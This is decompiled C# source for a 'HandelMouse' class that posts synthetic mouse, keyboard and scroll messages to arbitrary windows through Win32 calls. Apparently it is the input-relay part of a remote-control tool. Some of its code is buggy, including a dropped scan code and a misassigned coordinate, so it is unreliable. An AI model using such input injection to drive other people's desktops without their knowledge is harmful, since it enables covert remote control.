408 lines
12 KiB
C#
408 lines
12 KiB
C#
using System;
|
|||
|
|
using System.Drawing;
|
||
|
|
using System.Runtime.InteropServices;
|
||
|
|
using Microsoft.VisualBasic;
|
||
|
|
using Microsoft.VisualBasic.CompilerServices;
|
||
|
|
|
||
|
|
// Token: 0x02000003 RID: 3
|
||
|
|
public class HandelMouse
|
||
|
|
{
|
||
|
|
// Token: 0x06000016 RID: 22
|
||
|
|
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||
|
|
public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
|
||
|
|
|
||
|
|
// Token: 0x06000017 RID: 23
|
||
|
|
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
|
||
|
|
private static extern IntPtr GetProcAddress(IntPtr hProcess, [MarshalAs(UnmanagedType.VBByRefStr)] ref string Name);
|
||
|
|
|
||
|
|
// Token: 0x06000018 RID: 24
|
||
|
|
[DllImport("kernel32", SetLastError = true)]
|
||
|
|
private static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string Name);
|
||
|
|
|
||
|
|
// Token: 0x06000019 RID: 25
|
||
|
|
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||
|
|
private static extern bool PostMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
|
||
|
|
|
||
|
|
// Token: 0x0600001A RID: 26
|
||
|
|
[DllImport("user32.dll", SetLastError = true)]
|
||
|
|
public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);
|
||
|
|
|
||
|
|
// Token: 0x0600001B RID: 27
|
||
|
|
[DllImport("user32.dll")]
|
||
|
|
public static extern int SendMessage(IntPtr hWnd, int Msg, IntPtr wParam, IntPtr lParam);
|
||
|
|
|
||
|
|
|
||
|
|
// Token: 0x0600001C RID: 28
|
||
|
|
[DllImport("user32.dll")]
|
||
|
|
public static extern bool ShowWindow(IntPtr hWnd, [MarshalAs(UnmanagedType.I4)] int nCmdShow);
|
||
|
|
|
||
|
|
// Token: 0x0600001D RID: 29
|
||
|
|
[DllImport("user32.dll")]
|
||
|
|
private static extern bool IsZoomed(IntPtr hWnd);
|
||
|
|
|
||
|
|
// Token: 0x0600001E RID: 30
|
||
|
|
[DllImport("user32.dll")]
|
||
|
|
[return: MarshalAs(UnmanagedType.Bool)]
|
||
|
|
public static extern bool GetWindowRect(IntPtr hWnd, out HandelMouse.RECT lpRect);
|
||
|
|
|
||
|
|
// Token: 0x0600001F RID: 31
|
||
|
|
[DllImport("user32.dll")]
|
||
|
|
public static extern IntPtr WindowFromPoint(Point p);
|
||
|
|
|
||
|
|
// Token: 0x06000020 RID: 32
|
||
|
|
[DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
|
||
|
|
public static extern IntPtr GetParent(IntPtr hWnd);
|
||
|
|
|
||
|
|
// Token: 0x06000021 RID: 33 RVA: 0x000025E4 File Offset: 0x000007E4
|
||
|
|
public static IntPtr CreateLParamFor_WM_KEYDOWN(ushort RepeatCount, byte ScanCode, bool IsExtendedKey, bool DownBefore)
|
||
|
|
{
|
||
|
|
return HandelMouse.KeysLParam(RepeatCount, ScanCode, IsExtendedKey, DownBefore, false);
|
||
|
|
}
|
||
|
|
|
||
|
|
// Token: 0x06000022 RID: 34 RVA: 0x00002600 File Offset: 0x00000800
|
||
|
|
public static IntPtr CreateLParamFor_WM_KEYUP(ushort RepeatCount, byte ScanCode, bool IsExtendedKey)
|
||
|
|
{
|
||
|
|
return HandelMouse.KeysLParam(RepeatCount, ScanCode, IsExtendedKey, true, true);
|
||
|
|
}
|
||
|
|
|
||
|
|
// Token: 0x06000023 RID: 35 RVA: 0x0000261C File Offset: 0x0000081C
|
||
|
|
public static int MakeLParam(int LoWord, int HiWord)
|
||
|
|
{
|
||
|
|
return HiWord << 16 | (LoWord & 65535);
|
||
|
|
}
|
||
|
|
|
||
|
|
// Token: 0x06000024 RID: 36 RVA: 0x0000263C File Offset: 0x0000083C
|
||
|
|
public static IntPtr KeysLParam(ushort RepeatCount, byte ScanCode, bool IsExtendedKey, bool DownBefore, bool State)
|
||
|
|
{
|
||
|
|
int num = (int)(RepeatCount | (ushort)(ScanCode << 16));
|
||
|
|
if (IsExtendedKey)
|
||
|
|
{
|
||
|
|
num |= 65536;
|
||
|
|
}
|
||
|
|
if (DownBefore)
|
||
|
|
{
|
||
|
|
num |= 1073741824;
|
||
|
|
}
|
||
|
|
if (State)
|
||
|
|
{
|
||
|
|
num = (int)((long)num | -2147483648L);
|
||
|
|
}
|
||
|
|
return new IntPtr(num);
|
||
|
|
}
|
||
|
|
|
||
|
|
// Token: 0x06000025 RID: 37 RVA: 0x00002690 File Offset: 0x00000890
|
||
|
|
public static void MouseLeftDown(int x, int y)
|
||
|
|
{
|
||
|
|
IntPtr intPtr = HandelMouse.WindowFromPoint(new Point(x, y));
|
||
|
|
HandelMouse.ActiveHandel = intPtr;
|
||
|
|
HandelMouse.RECT rect;
|
||
|
|
HandelMouse.GetWindowRect(intPtr, out rect);
|
||
|
|
Point point = new Point(x - rect.Left, y - rect.Top);
|
||
|
|
int num = HandelMouse.SendMessage(intPtr, 132, IntPtr.Zero, (IntPtr)HandelMouse.MakeLParam(x, y));
|
||
|
|
IntPtr intPtr2 = HandelMouse.FindWindow("#32768", null);
|
||
|
|
bool flag = num == 20;
|
||
|
|
if (flag)
|
||
|
|
{
|
||
|
|
HandelMouse.PostMessage(intPtr, 16U, IntPtr.Zero, IntPtr.Zero);
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
bool flag2 = num == 8;
|
||
|
|
if (flag2)
|
||
|
|
{
|
||
|
|
HandelMouse.ShowWindow(intPtr, 6);
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
bool flag3 = num == 9;
|
||
|
|
if (flag3)
|
||
|
|
{
|
||
|
|
bool flag4 = HandelMouse.IsZoomed(intPtr);
|
||
|
|
if (flag4)
|
||
|
|
{
|
||
|
|
HandelMouse.ShowWindow(HandelMouse.IsActiveintPtr, 9);
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
HandelMouse.ShowWindow(HandelMouse.IsActiveintPtr, 3);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
bool flag5 = intPtr2 != IntPtr.Zero;
|
||
|
|
if (flag5)
|
||
|
|
{
|
||
|
|
HandelMouse.Contex = intPtr2;
|
||
|
|
IntPtr lParam = (IntPtr)HandelMouse.MakeLParam(x, y);
|
||
|
|
HandelMouse.PostMessage(HandelMouse.Contex, 513U, new IntPtr(1), lParam);
|
||
|
|
HandelMouse.RightClick = true;
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
bool flag6 = HandelMouse.GetParent(intPtr) == IntPtr.Zero && y - rect.Top < HandelMouse.TTTT;
|
||
|
|
if (flag6)
|
||
|
|
{
|
||
|
|
HandelMouse.IsActiveintPtr = intPtr;
|
||
|
|
HandelMouse.PostMessage(intPtr, 513U, (IntPtr)1, (IntPtr)HandelMouse.MakeLParam(x - rect.Left, y - rect.Top));
|
||
|
|
HandelMouse.CopyY = x;
|
||
|
|
HandelMouse.CopyY = y;
|
||
|
|
HandelMouse.MoveHandel = intPtr;
|
||
|
|
HandelMouse.SetWindowPos(intPtr, new IntPtr(-2), 0, 0, 0, 0, 3U);
|
||
|
|
HandelMouse.SetWindowPos(intPtr, new IntPtr(-1), 0, 0, 0, 0, 3U);
|
||
|
|
HandelMouse.SetWindowPos(intPtr, new IntPtr(-2), 0, 0, 0, 0, 67U);
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
bool flag7 = HandelMouse.GetParent(intPtr) != IntPtr.Zero || point.X <= rect.Right - rect.Left - 10 || point.Y <= rect.Bottom - rect.Top - 10;
|
||
|
|
if (flag7)
|
||
|
|
{
|
||
|
|
HandelMouse.PostMessage(intPtr, 513U, (IntPtr)1, (IntPtr)HandelMouse.MakeLParam(x - rect.Left, y - rect.Top));
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
HandelMouse.Xwidth = x;
|
||
|
|
HandelMouse.Yheight = y;
|
||
|
|
HandelMouse.ResizeHandel = intPtr;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
// Token: 0x06000026 RID: 38 RVA: 0x00002904 File Offset: 0x00000B04
|
||
|
|
public static void MouseLeftUp(int x, int y)
|
||
|
|
{
|
||
|
|
IntPtr hWnd = HandelMouse.WindowFromPoint(new Point(x, y));
|
||
|
|
HandelMouse.RECT rect;
|
||
|
|
HandelMouse.GetWindowRect(hWnd, out rect);
|
||
|
|
bool rightClick = HandelMouse.RightClick;
|
||
|
|
if (rightClick)
|
||
|
|
{
|
||
|
|
HandelMouse.PostMessage(HandelMouse.Contex, 514U, new IntPtr(1), (IntPtr)HandelMouse.MakeLParam(x, y));
|
||
|
|
HandelMouse.RightClick = false;
|
||
|
|
HandelMouse.Contex = IntPtr.Zero;
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
bool flag = HandelMouse.MoveHandel != IntPtr.Zero;
|
||
|
|
if (flag)
|
||
|
|
{
|
||
|
|
HandelMouse.CopyX = 0;
|
||
|
|
HandelMouse.CopyY = 0;
|
||
|
|
HandelMouse.MoveHandel = IntPtr.Zero;
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
bool flag2 = !(HandelMouse.Xwidth > 0 | HandelMouse.Yheight > 0);
|
||
|
|
if (flag2)
|
||
|
|
{
|
||
|
|
HandelMouse.PostMessage(hWnd, 514U, (IntPtr)0, (IntPtr)HandelMouse.MakeLParam(x - rect.Left, y - rect.Top));
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
HandelMouse.RECT rect2;
|
||
|
|
HandelMouse.GetWindowRect(HandelMouse.ResizeHandel, out rect2);
|
||
|
|
int num = x - HandelMouse.Xwidth;
|
||
|
|
int num2 = y - HandelMouse.Yheight;
|
||
|
|
int cx = rect2.Right - rect2.Left + num;
|
||
|
|
HandelMouse.SetWindowPos(HandelMouse.ResizeHandel, new IntPtr(0), rect2.Left, rect2.Top, cx, rect2.Bottom - rect2.Top + num2, 64U);
|
||
|
|
HandelMouse.Xwidth = 0;
|
||
|
|
HandelMouse.Yheight = 0;
|
||
|
|
HandelMouse.ResizeHandel = IntPtr.Zero;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
// Token: 0x06000027 RID: 39 RVA: 0x00002A68 File Offset: 0x00000C68
|
||
|
|
public static void MouseRightDown(int x, int y)
|
||
|
|
{
|
||
|
|
IntPtr hWnd = HandelMouse.WindowFromPoint(new Point(x, y));
|
||
|
|
HandelMouse.RECT rect;
|
||
|
|
HandelMouse.GetWindowRect(hWnd, out rect);
|
||
|
|
IntPtr intPtr = HandelMouse.WindowFromPoint(new Point(x, y));
|
||
|
|
HandelMouse.ActiveHandel = intPtr;
|
||
|
|
HandelMouse.PostMessage(intPtr, 516U, (IntPtr)0, (IntPtr)HandelMouse.MakeLParam(x - rect.Left, y - rect.Top));
|
||
|
|
}
|
||
|
|
|
||
|
|
// Token: 0x06000028 RID: 40 RVA: 0x00002ACC File Offset: 0x00000CCC
|
||
|
|
public static void MouseRghitUp(int x, int y)
|
||
|
|
{
|
||
|
|
IntPtr hWnd = HandelMouse.WindowFromPoint(new Point(x, y));
|
||
|
|
HandelMouse.RECT rect;
|
||
|
|
HandelMouse.GetWindowRect(hWnd, out rect);
|
||
|
|
HandelMouse.PostMessage(HandelMouse.WindowFromPoint(new Point(x, y)), 517U, (IntPtr)0, (IntPtr)HandelMouse.MakeLParam(x - rect.Left, y - rect.Top));
|
||
|
|
}
|
||
|
|
|
||
|
|
// Token: 0x06000029 RID: 41 RVA: 0x00002B28 File Offset: 0x00000D28
|
||
|
|
public static void MouseDuoblClieck(int x, int y)
|
||
|
|
{
|
||
|
|
IntPtr hWnd = HandelMouse.WindowFromPoint(new Point(x, y));
|
||
|
|
HandelMouse.RECT rect;
|
||
|
|
HandelMouse.GetWindowRect(hWnd, out rect);
|
||
|
|
IntPtr intPtr = HandelMouse.WindowFromPoint(new Point(x, y));
|
||
|
|
HandelMouse.ActiveHandel = intPtr;
|
||
|
|
HandelMouse.PostMessage(intPtr, 515U, (IntPtr)0, (IntPtr)HandelMouse.MakeLParam(x - rect.Left, y - rect.Top));
|
||
|
|
}
|
||
|
|
|
||
|
|
// Token: 0x0600002A RID: 42 RVA: 0x00002B8C File Offset: 0x00000D8C
|
||
|
|
public static void MouseMove(int x, int y)
|
||
|
|
{
|
||
|
|
IntPtr hWnd = HandelMouse.WindowFromPoint(new Point(x, y));
|
||
|
|
HandelMouse.RECT rect;
|
||
|
|
HandelMouse.GetWindowRect(hWnd, out rect);
|
||
|
|
bool flag = HandelMouse.MoveHandel != IntPtr.Zero;
|
||
|
|
if (flag)
|
||
|
|
{
|
||
|
|
HandelMouse.PostMessage(HandelMouse.MoveHandel, 514U, (IntPtr)0, (IntPtr)HandelMouse.MakeLParam(x - rect.Left, y - rect.Top));
|
||
|
|
HandelMouse.RECT rect2;
|
||
|
|
HandelMouse.GetWindowRect(HandelMouse.MoveHandel, out rect2);
|
||
|
|
int num = rect2.Right - rect2.Left;
|
||
|
|
int cy = rect2.Bottom - rect2.Top;
|
||
|
|
HandelMouse.SetWindowPos(HandelMouse.MoveHandel, new IntPtr(0), x - num / 2, y, num, cy, 64U);
|
||
|
|
HandelMouse.CopyX = x;
|
||
|
|
HandelMouse.CopyY = y;
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
IntPtr hWnd2 = HandelMouse.WindowFromPoint(new Point(x, y));
|
||
|
|
HandelMouse.RECT rect3;
|
||
|
|
HandelMouse.GetWindowRect(hWnd2, out rect3);
|
||
|
|
HandelMouse.PostMessage(hWnd2, 512U, (IntPtr)0, (IntPtr)HandelMouse.MakeLParam(x - rect3.Left, y - rect3.Top));
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
// Token: 0x0600002B RID: 43 RVA: 0x00002C9C File Offset: 0x00000E9C
|
||
|
|
public static void KeyboardDown(string k)
|
||
|
|
{
|
||
|
|
int num = Strings.AscW(k);
|
||
|
|
bool flag = num == 8 | num == 13;
|
||
|
|
if (flag)
|
||
|
|
{
|
||
|
|
HandelMouse.PostMessage(HandelMouse.ActiveHandel, 256U, (IntPtr)Conversions.ToInteger("&H" + Conversion.Hex(Strings.AscW(k))), HandelMouse.CreateLParamFor_WM_KEYDOWN(1, 30, false, false));
|
||
|
|
HandelMouse.PostMessage(HandelMouse.ActiveHandel, 257U, (IntPtr)Conversions.ToInteger("&H" + Conversion.Hex(Strings.AscW(k))), HandelMouse.CreateLParamFor_WM_KEYUP(1, 30, false));
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
HandelMouse.PostMessage(HandelMouse.ActiveHandel, 258U, (IntPtr)Strings.AscW(k), (IntPtr)1);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
|
||
|
|
public static void ScrollDown()
|
||
|
|
{
|
||
|
|
IntPtr hWnd = HandelMouse.ActiveHandel;
|
||
|
|
if (hWnd != IntPtr.Zero)
|
||
|
|
SendMessage(hWnd, 0x115, new IntPtr(1), IntPtr.Zero);
|
||
|
|
}
|
||
|
|
|
||
|
|
public static void ScrollUp()
|
||
|
|
{
|
||
|
|
IntPtr hWnd = HandelMouse.ActiveHandel;
|
||
|
|
if (hWnd != IntPtr.Zero)
|
||
|
|
SendMessage(hWnd, 0x115, new IntPtr(0), IntPtr.Zero);
|
||
|
|
}
|
||
|
|
|
||
|
|
public static void CloseWindow()
|
||
|
|
{
|
||
|
|
SendMessage(HandelMouse.IsActiveintPtr, 16, (IntPtr)0, (IntPtr)0);
|
||
|
|
}
|
||
|
|
|
||
|
|
public static void MinTop()
|
||
|
|
{
|
||
|
|
IntPtr hWnd = HandelMouse.IsActiveintPtr;
|
||
|
|
ShowWindow(hWnd, 6);
|
||
|
|
}
|
||
|
|
|
||
|
|
public static void RestoreMaxTop()
|
||
|
|
{
|
||
|
|
IntPtr intPtr = HandelMouse.IsActiveintPtr;
|
||
|
|
if (IsZoomed(intPtr))
|
||
|
|
{
|
||
|
|
ShowWindow(intPtr, 9);
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
ShowWindow(intPtr, 3);
|
||
|
|
}
|
||
|
|
|
||
|
|
|
||
|
|
}
|
||
|
|
|
||
|
|
|
||
|
|
// Token: 0x04000005 RID: 5
|
||
|
|
public const int TitleHandel1 = 2;
|
||
|
|
|
||
|
|
// Token: 0x04000006 RID: 6
|
||
|
|
public const int TitleHandel2 = 12;
|
||
|
|
|
||
|
|
// Token: 0x04000007 RID: 7
|
||
|
|
public const int IsCloseHandel = 20;
|
||
|
|
|
||
|
|
// Token: 0x04000008 RID: 8
|
||
|
|
public const int CloseHandel = 16;
|
||
|
|
|
||
|
|
// Token: 0x04000009 RID: 9
|
||
|
|
public const int SetHandelValue = 132;
|
||
|
|
|
||
|
|
// Token: 0x0400000A RID: 10
|
||
|
|
public const int IsHideHandel = 8;
|
||
|
|
|
||
|
|
// Token: 0x0400000B RID: 11
|
||
|
|
public const int IsShowHandel = 9;
|
||
|
|
|
||
|
|
// Token: 0x0400000C RID: 12
|
||
|
|
public static IntPtr ActiveHandel;
|
||
|
|
|
||
|
|
// Token: 0x0400000D RID: 13
|
||
|
|
private static IntPtr IsActiveintPtr;
|
||
|
|
|
||
|
|
// Token: 0x0400000E RID: 14
|
||
|
|
private static IntPtr MoveHandel;
|
||
|
|
|
||
|
|
// Token: 0x0400000F RID: 15
|
||
|
|
private static IntPtr ResizeHandel;
|
||
|
|
|
||
|
|
// Token: 0x04000010 RID: 16
|
||
|
|
private static IntPtr Contex;
|
||
|
|
|
||
|
|
// Token: 0x04000011 RID: 17
|
||
|
|
public static int CopyX;
|
||
|
|
|
||
|
|
// Token: 0x04000012 RID: 18
|
||
|
|
public static int CopyY;
|
||
|
|
|
||
|
|
// Token: 0x04000013 RID: 19
|
||
|
|
private static int Xwidth;
|
||
|
|
|
||
|
|
// Token: 0x04000014 RID: 20
|
||
|
|
private static int Yheight;
|
||
|
|
|
||
|
|
// Token: 0x04000015 RID: 21
|
||
|
|
private static bool RightClick;
|
||
|
|
|
||
|
|
// Token: 0x04000016 RID: 22
|
||
|
|
public static int TTTT;
|
||
|
|
|
||
|
|
// Token: 0x04000017 RID: 23
|
||
|
|
public static bool IsMovemouse;
|
||
|
|
|
||
|
|
// Token: 0x02000021 RID: 33
|
||
|
|
public struct RECT
|
||
|
|
{
|
||
|
|
// Token: 0x04000090 RID: 144
|
||
|
|
public int Left;
|
||
|
|
|
||
|
|
// Token: 0x04000091 RID: 145
|
||
|
|
public int Top;
|
||
|
|
|
||
|
|
// Token: 0x04000092 RID: 146
|
||
|
|
public int Right;
|
||
|
|
|
||
|
|
// Token: 0x04000093 RID: 147
|
||
|
|
public int Bottom;
|
||
|
|
}
|
||
|
|
}
|